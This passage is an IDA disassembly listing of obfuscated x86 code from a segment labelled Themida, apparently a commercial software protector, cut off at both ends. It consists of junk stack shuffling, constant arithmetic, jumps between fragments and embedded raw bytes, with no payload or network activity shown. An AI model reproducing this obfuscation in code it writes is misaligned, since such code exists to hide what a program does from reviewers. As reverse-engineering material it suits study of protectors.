873D5EBAh dd 53BB5364h, 31251955h, 6F23E9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A34E2: ; CODE XREF: Themida_:005A4FB1j mov ah, 3Eh jmp loc_5A0282 ; --------------------------------------------------------------------------- loc_5A34E9: ; CODE XREF: Themida_:0059BF7Bj or edi, 4D077B47h sub edi, 7F6F7B4Bh add eax, edi pop edi push ebp jmp loc_5AEE5B ; --------------------------------------------------------------------------- loc_5A34FE: ; CODE XREF: Themida_:005A094Aj mov edx, 75344880h shl edx, 2 sub edx, 60C34DAh dec edx jmp loc_59FF17 ; --------------------------------------------------------------------------- dw 4A58h dd 36BBB53h, 0C2810357h, 3CB32024h, 8E9DA29h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3527: ; CODE XREF: Themida_:005A97F1j pop ecx push cx mov cl, 81h add bl, cl pop cx add bl, dl sub bl, 81h add bl, 19h pop dx jmp loc_5AB99F ; --------------------------------------------------------------------------- loc_5A353F: ; CODE XREF: Themida_:0059CEC7j sub esp, 4 mov [esp], ebp jmp loc_59977F ; --------------------------------------------------------------------------- loc_5A354D: ; CODE XREF: Themida_:005994B6j mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], edx push 5C0Eh mov [esp], ecx push 22AC4A26h pop ecx jmp loc_59932A ; --------------------------------------------------------------------------- loc_5A356E: ; CODE XREF: Themida_:0059DCFAj pop ebx sub edx, ebp pop ebp sub edx, 4BC32BCBh pop ebx sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push ecx mov cl, dl mov bl, cl push dword ptr [esp] jmp loc_5A62CB ; --------------------------------------------------------------------------- loc_5A3590: ; CODE XREF: Themida_:005A6C4Fj pop ebp add edx, edi pop edi sub edi, edx pop edx xchg edi, [esp] pop esp mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A35A4: ; CODE XREF: Themida_:005A60F5j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A298F ; --------------------------------------------------------------------------- loc_5A35BC: ; CODE XREF: Themida_:005A869Ej add esp, 4 push 3291h mov [esp], ebp mov ebp, esp push edi push ecx push ebp mov ebp, 0E297F3Eh mov ecx, 0F9A6A609h add ecx, ebp mov ebp, [esp] add esp, 4 mov edi, 0F468310h sub edi, ecx mov ecx, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edi, 7765DCDh add ebp, edi mov edi, [esp] add esp, 4 add ebp, 4 push 48B8h mov [esp], ebp jmp loc_59908C ; --------------------------------------------------------------------------- loc_5A361E: ; CODE XREF: Themida_:005A4A2Aj mov esi, 763A658Ah jmp loc_59EBA9 ; --------------------------------------------------------------------------- loc_5A3628: ; CODE XREF: Themida_:005A9288j pop ecx mov edx, [esp] jmp loc_5A023E ; --------------------------------------------------------------------------- loc_5A3631: ; CODE XREF: Themida_:005ADDD8j push edi jmp loc_59D064 ; --------------------------------------------------------------------------- db 54h dd 0E924048Bh, 0B39Dh ; --------------------------------------------------------------------------- loc_5A3640: ; CODE XREF: Themida_:00599EA5j mov ecx, ebx jmp loc_5ADEE9 ; --------------------------------------------------------------------------- aXsq db 'XИq%',0 db 0 ; --------------------------------------------------------------------------- loc_5A364D: ; CODE XREF: Themida_:0059DCE6j mov al, 83h jmp loc_5AE7FE ; --------------------------------------------------------------------------- loc_5A3654: ; CODE XREF: Themida_:005A0620j and eax, edx push dword ptr [esp] push dword ptr [esp] jmp loc_5A7B8E ; --------------------------------------------------------------------------- db 54h, 0E9h, 0DEh db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3667: ; CODE XREF: Themida_:005A970Dj sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_59BB79 ; --------------------------------------------------------------------------- db 29h dd 24148BD1h, 0E904C483h, 0FFFFE278h ; --------------------------------------------------------------------------- loc_5A3684: ; CODE XREF: Themida_:00598C94j ; Themida_:loc_5A7A2Aj add eax, 46C67C25h mov edi, eax pop eax sub ecx, edi jmp loc_5AABE3 ; --------------------------------------------------------------------------- loc_5A3693: ; CODE XREF: Themida_:0059ED6Ej mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push esp jmp loc_59A0CE ; --------------------------------------------------------------------------- loc_5A36B2: ; CODE XREF: Themida_:0059C61Cj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edx jmp loc_5ACA08 ; --------------------------------------------------------------------------- loc_5A36C5: ; CODE XREF: Themida_:0059E8DDj shl eax, 7 shr eax, 7 sub eax, 1D100DBh mov ebp, eax jmp loc_5A1E1C ; --------------------------------------------------------------------------- loc_5A36D7: ; CODE XREF: Themida_:005A9A90j mov esp, [esp] or edx, eax jmp loc_5A39BE ; --------------------------------------------------------------------------- loc_5A36E1: ; CODE XREF: Themida_:005AE053j add edi, 4 xchg edi, [esp] pop esp add edx, esi jmp loc_5A0394 ; --------------------------------------------------------------------------- loc_5A36F2: ; CODE XREF: Themida_:005A0D68j mov ebx, esp add ebx, 4 jmp loc_59BAC5 ; --------------------------------------------------------------------------- loc_5A36FF: ; CODE XREF: Themida_:005A8055j xor bh, ah pop ax xor ch, bh pop ebx add al, ch pop ecx jmp loc_5A408E ; --------------------------------------------------------------------------- loc_5A370E: ; CODE XREF: Themida_:005A780Cj mov edx, [esp] add esp, 4 jmp loc_59B2E2 ; --------------------------------------------------------------------------- loc_5A3719: ; CODE XREF: Themida_:005A8C79j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5ACEFA ; --------------------------------------------------------------------------- loc_5A3729: ; CODE XREF: Themida_:005AF7F2j mov ecx, 5BC40344h add ecx, 0A43BFCC0h jmp loc_5AE51D ; --------------------------------------------------------------------------- db 29h, 0D0h, 5Ah dd 0FFE3B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3741: ; CODE XREF: Themida_:005A5400j push dword ptr [esp] jmp loc_5AD2F4 ; --------------------------------------------------------------------------- loc_5A3749: ; CODE XREF: Themida_:005A5284j add edi, edx push eax mov eax, 25511E03h xor eax, 18310597h sub eax, 66F85EF9h neg eax xor eax, 69F71DAh jmp loc_5A2D92 ; --------------------------------------------------------------------------- db 89h dd 3CE92424h, 55000001h, 0FE9CD89h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3777: ; CODE XREF: Themida_:005AB192j sub ch, 0DAh sub esp, 2 mov [esp], bx mov bl, 0DBh add ch, bl pop bx add al, ch pop ecx jmp loc_5AD620 ; --------------------------------------------------------------------------- dw 27BEh dd 4668720Eh, 5575E681h, 0C6817DEEh, 39B37812h, 7C36F681h dd 8951A215h, 0E9CD89F1h, 5DDBh, 44E9FA29h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A37BB: ; CODE XREF: Themida_:0059CF86j inc ebp jmp loc_5ACB04 ; --------------------------------------------------------------------------- db 81h, 0F2h, 81h dd 0F4C4252h, 39078Bh, 0E3C28100h, 0E9B0B5E0h, 0FFFF6C31h ; --------------------------------------------------------------------------- loc_5A37D8: ; CODE XREF: Themida_:005AA7D1j shl ch, 2 jmp loc_5A80C7 ; --------------------------------------------------------------------------- loc_5A37E0: ; CODE XREF: Themida_:0059AB10j xchg edi, [esp] pop esp xor eax, esi mov esi, [esp] add esp, 4 jmp loc_59E3C6 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0A580h, 1B2DE801h, 5794C06h, 69AA6793h dd 93BDE9h db 0 ; --------------------------------------------------------------------------- loc_5A380D: ; CODE XREF: Themida_:005A4982j xor edi, 7DF812B5h jmp loc_5A4630 ; --------------------------------------------------------------------------- loc_5A3818: ; CODE XREF: Themida_:0059AB50j add esp, 4 jmp loc_598FAF ; --------------------------------------------------------------------------- dword_5A3820 dd 0E9C72CACh, 0C01Eh; --------------------------------------------------------------------------- loc_5A3828: ; CODE XREF: Themida_:005992F9j push eax mov eax, esp jmp loc_59BF75 ; --------------------------------------------------------------------------- loc_5A3830: ; CODE XREF: Themida_:005AC2CFj pop esp add ebp, 4 xor ebp, [esp] jmp loc_5A3165 ; --------------------------------------------------------------------------- loc_5A383C: ; CODE XREF: Themida_:0059AA59j sub bh, ah pop eax sub al, bh mov ebx, [esp] jmp loc_59E9FC ; --------------------------------------------------------------------------- loc_5A3849: ; CODE XREF: Themida_:005A6582j pop ebx jmp loc_59ED65 ; --------------------------------------------------------------------------- db 0BEh dd 4, 0FFE147E9h, 240483FFh, 24048F04h, 8B97E9h db 0 ; --------------------------------------------------------------------------- loc_5A3865: ; CODE XREF: Themida_:005A83F1j pop edi mov eax, 14881FFCh xor eax, ecx mov ecx, [esp] add esp, 4 push ebp mov ebp, eax jmp loc_5ABA80 ; --------------------------------------------------------------------------- loc_5A387E: ; CODE XREF: Themida_:0059FC78j add ebx, 59F00395h add ebx, edx sub ebx, 59F00395h pop edx push eax push ebx push 2 pop ebx mov eax, ebx pop ebx sub ebx, 1D533DADh add ebx, 4085115Fh add ebx, eax jmp loc_59E202 ; --------------------------------------------------------------------------- db 81h dd 42404h, 0E95D0000h, 0B288h ; --------------------------------------------------------------------------- loc_5A38B8: ; CODE XREF: Themida_:005AF0BAj add esp, 4 sub ebx, eax add ebx, 787619ABh push 587Dh mov [esp], esi mov esi, esp jmp loc_5AE214 ; --------------------------------------------------------------------------- loc_5A38D2: ; CODE XREF: Themida_:0059E561j jmp loc_59B813 ; --------------------------------------------------------------------------- loc_5A38D7: ; CODE XREF: Themida_:005A5098j add eax, edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], edi jmp loc_5ACE5A ; --------------------------------------------------------------------------- aS7_0 db '(хИ7╡',0 db 0 ; --------------------------------------------------------------------------- loc_5A38EF: ; CODE XREF: Themida_:005A60D8j push 786F1ECDh jmp loc_5A8EDE ; --------------------------------------------------------------------------- loc_5A38F9: ; CODE XREF: Themida_:005AB04Aj pop ecx push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp pop dword ptr [esp] jmp loc_5AE639 ; --------------------------------------------------------------------------- db 0B6h dd 0ADA3E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3916: ; CODE XREF: Themida_:005AF148j push cx sub byte ptr [esp], 0FFh pop cx add cl, 0D3h xor al, cl pop ecx push dx mov dl, 0C8h jmp loc_5995D2 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 524248Bh, 4, 0A91E9h db 0 ; --------------------------------------------------------------------------- loc_5A393D: ; CODE XREF: Themida_:005ABDC4j add eax, 0F8B52829h sub ebx, eax mov eax, [esp] add esp, 4 push edx jmp loc_5A897E ; --------------------------------------------------------------------------- db 1 dd 0A1E95AD3h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A395B: ; CODE XREF: Themida_:005A96E9j mov esp, [esp] add [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- dd 4C381h, 0EB830000h, 241C8704h, 2414895Ch, 95068h, 48F5400h dd 9E46E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3986: ; CODE XREF: Themida_:0059DF21j xchg edx, ebx xchg eax, edx not eax xchg eax, edx jmp loc_59AAC5 ; --------------------------------------------------------------------------- loc_5A3991: ; CODE XREF: Themida_:0059DA24j and eax, edi jmp loc_5A507F ; --------------------------------------------------------------------------- loc_5A3998: ; CODE XREF: Themida_:loc_5A5FC5j inc edx jo loc_59A923 jmp loc_5A908C ; --------------------------------------------------------------------------- dd 7721BA52h, 0EAC10C0Dh, 0F7DAF706h, 0BF44E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A39B6: ; CODE XREF: Themida_:005A28C4j push edx mov edx, esp jmp loc_59E8BC ; --------------------------------------------------------------------------- loc_5A39BE: ; CODE XREF: Themida_:005A36DCj shl edx, 1 push eax push ebx push 0FFFFFFFFh pop ebx mov eax, ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp jmp loc_5A086C ; --------------------------------------------------------------------------- loc_5A39D6: ; CODE XREF: Themida_:005AD159j mov [esp], ebx jmp loc_59CEBD ; --------------------------------------------------------------------------- loc_5A39DE: ; CODE XREF: Themida_:005AB6CBj push edi jmp loc_5A281A ; --------------------------------------------------------------------------- loc_5A39E4: ; CODE XREF: Themida_:00598FE3j push ebx mov ebx, 7A5AF262h sub ebp, ebx pop ebx mov edx, ebp jmp loc_599A55 ; --------------------------------------------------------------------------- loc_5A39F4: ; CODE XREF: Themida_:005A8FAFj add ebp, 4 jmp loc_59E78A ; --------------------------------------------------------------------------- a_1Zs db '_1вZИ',0 db 0C6h, 2 dup(0FFh) dword_5A3A08 dd 561C77FFh, 0FF534BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3A11: ; CODE XREF: Themida_:005AE26Ej sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push esi jmp loc_5A26CB ; --------------------------------------------------------------------------- loc_5A3A21: ; CODE XREF: Themida_:005ACA03j sub ebx, 361D163Bh jmp loc_5AB285 ; --------------------------------------------------------------------------- aM0Szo db '╛0ьИ╖o',0 ; DATA XREF: Themida_:00598918o align 4 loc_5A3A34: ; CODE XREF: Themida_:0059D57Ej add al, 5Eh add al, 0ECh shr al, 7 jmp loc_5AA1F2 ; --------------------------------------------------------------------------- loc_5A3A40: ; CODE XREF: Themida_:005A0285j add cl, 0E0h shr cl, 2 sub cl, 9Dh add al, cl mov ecx, [esp] jmp loc_5AD20C ; --------------------------------------------------------------------------- loc_5A3A53: ; CODE XREF: Themida_:005ADBFCj shr ebp, 4 not ebp xor ebp, 0DFB9EC2Eh add edi, ebp jmp loc_5AD502 ; --------------------------------------------------------------------------- loc_5A3A65: ; CODE XREF: Themida_:0059CF93j ; Themida_:0059EBCEj xor ebp, 32C9C6F6h add ecx, ebp pop ebp add ebx, ecx pop ecx push dword ptr [esp] pop edx push 109Bh jmp loc_59E62C ; --------------------------------------------------------------------------- loc_5A3A7F: ; CODE XREF: Themida_:005A33E9j mov ebx, esp push edx jmp loc_5A7F46 ; --------------------------------------------------------------------------- loc_5A3A87: ; CODE XREF: Themida_:00599184j push 64B0h jmp loc_5A93E4 ; --------------------------------------------------------------------------- loc_5A3A91: ; CODE XREF: Themida_:005A503Bj inc ecx neg ecx jnz loc_59E69C add ecx, 38C616FBh mov esi, ecx jmp loc_59CF62 ; --------------------------------------------------------------------------- db 89h dd 5954240Ch, 4C181h, 0E9810000h, 4, 5C240C87h, 68243C89h dd 340Dh, 57240C89h, 0C22243BFh, 87B0B908h, 0F92940CFh dd 0FD68565Fh, 8B14FD2Fh, 0C4832434h, 83EE8104h, 0C15C0F0Eh dd 0F9E907EEh db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3AEF: ; CODE XREF: Themida_:0059B9EAj push ecx jmp loc_5AFE1C ; --------------------------------------------------------------------------- db 57h, 0FFh, 74h dd 3C8B0424h, 4C48124h, 8F000000h, 665C2404h, 81240C8Bh dd 4ECh, 241C8900h, 8904EC83h, 4832424h, 1C8B0424h, 2B62E924h dd 5B590000h, 525EF101h, 4BAh, 5AD10100h, 5C240C87h, 0F658E188h dd 0E95266D9h, 0FFFF9011h, 8124048Bh, 4C4h, 645EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3B52: ; CODE XREF: Themida_:00598ADCj add eax, 4BF30CB1h jmp loc_5A2BBF ; --------------------------------------------------------------------------- dd 5EC7F381h, 0E3C12116h, 0ABE38102h, 0E96DFA67h, 526Dh ; --------------------------------------------------------------------------- loc_5A3B70: ; CODE XREF: Themida_:loc_5A8DD8j shl ebp, 8 js loc_59A2E1 sub ebp, 0D7A68956h mov edx, ebp jmp loc_5A9F9A ; --------------------------------------------------------------------------- dw 0D331h dd 0D8EB815Ah, 8176BA4Dh, 0EB0E59F3h, 4149687Ah, 0F4E90000h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3B9F: ; CODE XREF: Themida_:0059A378j add ebp, 1 push 40FBh mov [esp], ebx push 3D2Eh mov [esp], ebp mov ebp, 11393A8Dh add ebp, 55574017h inc ebp not ebp jmp loc_599627 ; --------------------------------------------------------------------------- aPszm db 'PИ╖╛',0 align 2 loc_5A3BCE: ; CODE XREF: Themida_:005AE78Fj pop esi mov eax, [esp] jmp loc_59D0EE ; --------------------------------------------------------------------------- loc_5A3BD7: ; CODE XREF: Themida_:005A1E09j mov ebp, ebx pop ebx and edx, ebp pop ebp jmp loc_59EB96 ; --------------------------------------------------------------------------- loc_5A3BE2: ; CODE XREF: Themida_:005AEE9Ej sub esp, 4 mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push esi jmp loc_5A4F26 ; --------------------------------------------------------------------------- dw 0E5C1h dd 6978E905h db 2 dup(0FFh) word_5A3C06 dw 8B66h ; DATA XREF: Themida_:005986CCo dd 54522404h, 0FF7C32E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3C11: ; CODE XREF: Themida_:loc_59A26Dj add ebp, 10561CBEh jbe loc_5AB755 shl ebp, 7 jmp loc_59D251 ; --------------------------------------------------------------------------- loc_5A3C25: ; CODE XREF: Themida_:005AF583j sub ebx, 0DB37344h push esi mov esi, 3B381144h shr esi, 8 and esi, 123E7AF0h jmp loc_59AB15 ; --------------------------------------------------------------------------- loc_5A3C3F: ; CODE XREF: Themida_:00599C33j add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] mov ax, [esp] jmp loc_5ADCBB ; --------------------------------------------------------------------------- loc_5A3C51: ; CODE XREF: Themida_:0059C5A1j or ch, 4Dh and ch, 96h and ch, 0ADh add ch, 1Bh xor bh, ch pop ecx jmp loc_5A40F3 ; --------------------------------------------------------------------------- db 40h, 53h, 0BBh dd 126A572Fh, 815BD801h, 0D97944E9h, 81C10148h, 0D97944C1h dd 6475E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3C82: ; CODE XREF: Themida_:0059AC5Ej sub edx, 14300631h add edx, ecx push ecx mov ecx, 216D54D7h add ecx, 0F2C2B15Ah add edx, ecx pop ecx sub edx, 7E4549A7h pop ecx add edx, 58360AEDh push edi mov edi, 1E631A2Eh sub edi, 50573430h jbe loc_599D00 inc edi push ebx mov ebx, 25A02D37h and edi, ebx pop ebx mov ch, ah mov dl, 25h pop edi jmp loc_5A6A27 ; --------------------------------------------------------------------------- loc_5A3CCC: ; CODE XREF: Themida_:005A9039j xchg ebx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 68F806E2h not ebp inc ebp sub ebp, 9325F930h xor esi, ebp jmp loc_5A9702 ; --------------------------------------------------------------------------- loc_5A3CEA: ; CODE XREF: Themida_:005A563Bj pop edx add esi, 4 xchg esi, [esp] jmp loc_5A4C7C ; --------------------------------------------------------------------------- dw 3805h dd 508DB09h, 3D62375Dh, 47E9E829h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3D07: ; CODE XREF: Themida_:005AD025j mov [esp], edx mov edx, esp add edx, 4 jmp loc_5A4AE9 ; --------------------------------------------------------------------------- db 81h dd 336913E1h, 0E9D9F702h, 0BDBCh ; --------------------------------------------------------------------------- loc_5A3D24: ; CODE XREF: Themida_:005AE986j or eax, eax jnz loc_598BCE push edi push 58331958h push dword ptr [esp] jmp loc_5AD076 ; --------------------------------------------------------------------------- loc_5A3D3A: ; CODE XREF: Themida_:005ABB43j mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A78F1 ; --------------------------------------------------------------------------- loc_5A3D52: ; CODE XREF: Themida_:0059FB07j pop eax jmp loc_5A9708 ; --------------------------------------------------------------------------- loc_5A3D58: ; CODE XREF: Themida_:005A800Cj push edi mov edi, 2 push 5FE4h jmp loc_5AAF1C ; --------------------------------------------------------------------------- loc_5A3D68: ; CODE XREF: Themida_:0059CC6Ej pop ecx sub esi, 773237E4h sub esi, eax add esi, 773237E4h add esi, 496359AAh mov eax, [esp] jmp loc_5A8A17 ; --------------------------------------------------------------------------- loc_5A3D85: ; CODE XREF: Themida_:005A9914j push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5A8450 ; --------------------------------------------------------------------------- loc_5A3DA2: ; CODE XREF: Themida_:005A914Aj sub ebx, 6AA05C9Ah mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5AE844 ; --------------------------------------------------------------------------- loc_5A3DB9: ; CODE XREF: Themida_:005A6DE3j pop esp xchg ebp, [esp] pop esp push ebp mov ebp, 66440B30h shl ebp, 6 push esi mov esi, 49303CF3h neg esi sub esi, 42707D19h not esi shr esi, 1 xor esi, 0BA2FA2FAh sub ebp, esi pop esi push edx sub esp, 4 mov [esp], ebp jmp loc_5A9C41 ; --------------------------------------------------------------------------- loc_5A3DEE: ; CODE XREF: Themida_:0059FDC8j add ecx, 0F98B3C6Eh sub esp, 4 mov [esp], edx mov edx, 5FB5360Fh sub eax, edx pop edx push 4C5Bh jmp loc_5A31BF ; --------------------------------------------------------------------------- loc_5A3E0F: ; CODE XREF: Themida_:005ADAFFj pop ecx push ebx mov ebx, 515A47D7h push ebx jmp loc_59A089 ; --------------------------------------------------------------------------- loc_5A3E1C: ; CODE XREF: Themida_:005A440Bj add esp, 4 push ebx mov bl, ch jmp loc_59907A ; --------------------------------------------------------------------------- loc_5A3E2A: ; CODE XREF: Themida_:005A1C1Cj ; Themida_:005AC803j sub ch, al sub ch, 0F9h jmp loc_5A4E89 ; --------------------------------------------------------------------------- loc_5A3E34: ; CODE XREF: Themida_:0059B83Ej xor ebx, 9C527E9h xor eax, ebx pop ebx jmp loc_5A5294 ; --------------------------------------------------------------------------- dw 0CD31h dd 592434FFh, 4C481h, 0D5F70000h, 0DC77E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3E56: ; CODE XREF: Themida_:005AC395j pop ecx add edx, ecx jmp loc_5A800B ; --------------------------------------------------------------------------- loc_5A3E5E: ; CODE XREF: Themida_:005A9831j pop eax xchg edi, [esp] jmp loc_599C84 ; --------------------------------------------------------------------------- loc_5A3E67: ; CODE XREF: Themida_:0059C8D3j pop ebp push edi mov edi, 7A3E3D61h add edx, 65AB7E2Dh sub edx, 2CC504ABh sub edx, edi add edx, 2CC504ABh jmp loc_5A3233 ; --------------------------------------------------------------------------- aXv0sU db '©xv[0И',7,'u',0 db 0 ; --------------------------------------------------------------------------- loc_5A3E91: ; CODE XREF: Themida_:loc_5A1C78j jmp loc_5A947B ; --------------------------------------------------------------------------- loc_5A3E96: ; CODE XREF: Themida_:005A56EEj add dword ptr [esp], 42371AA3h sub [esp], esi sub dword ptr [esp], 42371AA3h mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] neg esi sub esi, 59D00A58h sub ebp, esi mov esi, [esp] push 69ECh mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 1 push eax mov eax, 20h jmp loc_59E489 ; --------------------------------------------------------------------------- loc_5A3EFC: ; CODE XREF: Themida_:005AB666j mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp sub edx, 44112EB1h add edx, 2B423305h push edi mov edi, 61E41623h add edx, edi mov edi, [esp] add esp, 4 jmp loc_5ABC48 ; --------------------------------------------------------------------------- loc_5A3F2A: ; CODE XREF: Themida_:0059EE68j push 0FB4D04h pop ecx shr ecx, 7 jmp loc_598FF8 ; --------------------------------------------------------------------------- dd 0C8FE9EB0h, 0C3284934h, 8324048Bh, 2E904C4h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3F4B: ; CODE XREF: Themida_:005AD247j add edx, ebx pop ebx add ebx, edx jmp loc_5A84E8 ; --------------------------------------------------------------------------- loc_5A3F55: ; CODE XREF: Themida_:0059ED7Dj mov [esp], eax push 4 push dword ptr [esp] pop eax add esp, 4 sub esi, 7CBD66F1h add esi, eax add esi, 7CBD66F1h mov eax, [esp] add esp, 4 push 6FE8h mov [esp], eax sub esp, 4 jmp loc_599316 ; --------------------------------------------------------------------------- loc_5A3F8B: ; CODE XREF: Themida_:0059AFA4j ; Themida_:0059E870j shl eax, 6 sub eax, 0FBF1D9C2h mov ecx, eax mov eax, [esp] add esp, 4 and [edi+1Ch], ecx mov ecx, [esp] push edx jmp loc_59E53B ; --------------------------------------------------------------------------- loc_5A3FA7: ; CODE XREF: Themida_:0059BD10j mov ah, 45h xor ah, 0DEh jmp loc_5AD05C ; --------------------------------------------------------------------------- loc_5A3FB1: ; CODE XREF: Themida_:0059AD5Cj inc edi or edi, 1312144Bh add edi, 0E8449697h jmp loc_5AC84C ; --------------------------------------------------------------------------- loc_5A3FC3: ; CODE XREF: Themida_:005AD30Fj mov dl, 39h sub al, dl pop dx add al, cl add al, 39h push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5A4CD2 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4Ch dd 1FD0542h, 8B04247Ch, 0C481243Ch, 4, 0FF65BEE9h, 55E955FFh db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4003: ; CODE XREF: Themida_:00599E78j add eax, edx pop edx push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] push 252Ah jmp loc_599265 ; --------------------------------------------------------------------------- loc_5A401F: ; CODE XREF: Themida_:0059FDF0j push 74BC6D6Dh mov esi, [esp] push edi mov edi, esp jmp loc_59989C ; --------------------------------------------------------------------------- loc_5A402F: ; CODE XREF: Themida_:005AE2BEj push edi mov edi, 5CA51A36h add edi, 71E51FB2h push ebx mov ebx, 7F224296h dec ebx add ebx, 58B005Dh not ebx xor ebx, 2F5632Bh dec ebx jmp loc_5A25A9 ; --------------------------------------------------------------------------- loc_5A4056: ; CODE XREF: Themida_:005AAF89j add edx, 0FFFFFFFFh jmp loc_5ABF63 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 5C242C87h, 4C581h, 0B7680000h, 89000050h, 4B9240Ch dd 81000000h, 0A348EBC5h, 81CD017Dh, 0A348EBEDh, 0BC08E97Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A408E: ; CODE XREF: Themida_:005A3709j push 7834h mov [esp], ebp push esp jmp loc_59D188 ; --------------------------------------------------------------------------- loc_5A409C: ; CODE XREF: Themida_:005A4BA4j add edi, 65DF1877h jmp loc_59C728 ; --------------------------------------------------------------------------- db 56h dd 436415BEh, 5EF5014Eh, 2C5815Bh, 33000000h, 2C31242Ch dd 242C3324h, 0C8B665Ch, 0E3895324h, 7B0068h, 24148900h dd 4BAh, 6E486800h, 42E90000h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A40DF: ; CODE XREF: Themida_:005A616Bj mov eax, [esp] jmp loc_5AD422 ; --------------------------------------------------------------------------- aTHsl db 'T]hSL',0 align 2 dw 0C3E9h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A40F3: ; CODE XREF: Themida_:005A3C60j not bh jmp loc_5A9936 ; --------------------------------------------------------------------------- loc_5A40FA: ; CODE XREF: Themida_:0059F49Aj pop ecx loc_5A40FB: ; CODE XREF: Themida_:00599EE3j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx xor dword ptr [esp], 5EF87A69h jmp loc_59EBFE ; --------------------------------------------------------------------------- loc_5A411A: ; CODE XREF: Themida_:005A23EEj jmp loc_5AC200 ; --------------------------------------------------------------------------- db 68h dd 31B9h, 51240489h, 47B75352h, 0FE2880B6h, 57A4E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A4136: ; CODE XREF: Themida_:0059A17Dj jmp loc_5A97BD ; --------------------------------------------------------------------------- loc_5A413B: ; CODE XREF: Themida_:005A8DB8j mov edi, 5F3518EBh add edx, edi mov edi, [esp] add esp, 4 jmp loc_5AD403 ; --------------------------------------------------------------------------- db 66h, 50h, 0B4h dd 66E330B5h, 8324048Bh, 0C38002C4h, 0BE8A0F1Dh, 52000070h dd 95E945B6h, 0F6FFFFC6h, 5ECA8AD9h, 4EB81h, 1C870000h dd 4B67E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A417E: ; CODE XREF: Themida_:005A0404j pop esi pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, 324872BFh xor [esp+4], ecx pop ecx push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_5A6274 ; --------------------------------------------------------------------------- loc_5A41A7: ; CODE XREF: Themida_:00599A50j push 1889h mov [esp], edi push 1 pop edi and eax, edi push dword ptr [esp] jmp loc_5AB94D ; --------------------------------------------------------------------------- db 0C1h dd 8A0F05EFh, 0FFFFE955h, 424CC781h, 7C01FD05h, 3C8B0424h db 24h ; --------------------------------------------------------------------------- loc_5A41D5: ; CODE XREF: Themida_:005989ACj push ecx mov cl, 57h neg cl js loc_5A71E9 dec cl jno loc_59ABC4 jns loc_5A67CA pop ebp mov [esp], ebx mov ebx, 46F31DD8h mov edx, 95332158h sub edx, ebx pop ebx mov ecx, edx jmp loc_5A016E ; --------------------------------------------------------------------------- dw 834Fh dd 0F781FFC7h, 0C6F88E8Dh, 25B5E9h, 0C4815D00h, 4, 0FFF90158h dd 3C8B2434h, 4C48124h, 51000000h, 0C181E189h, 4, 8704C183h dd 94E9240Ch db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A423F: ; CODE XREF: Themida_:0059D61Cj mov cl, bl pop ebx mov [edi+28h], cl pop ecx push dword ptr 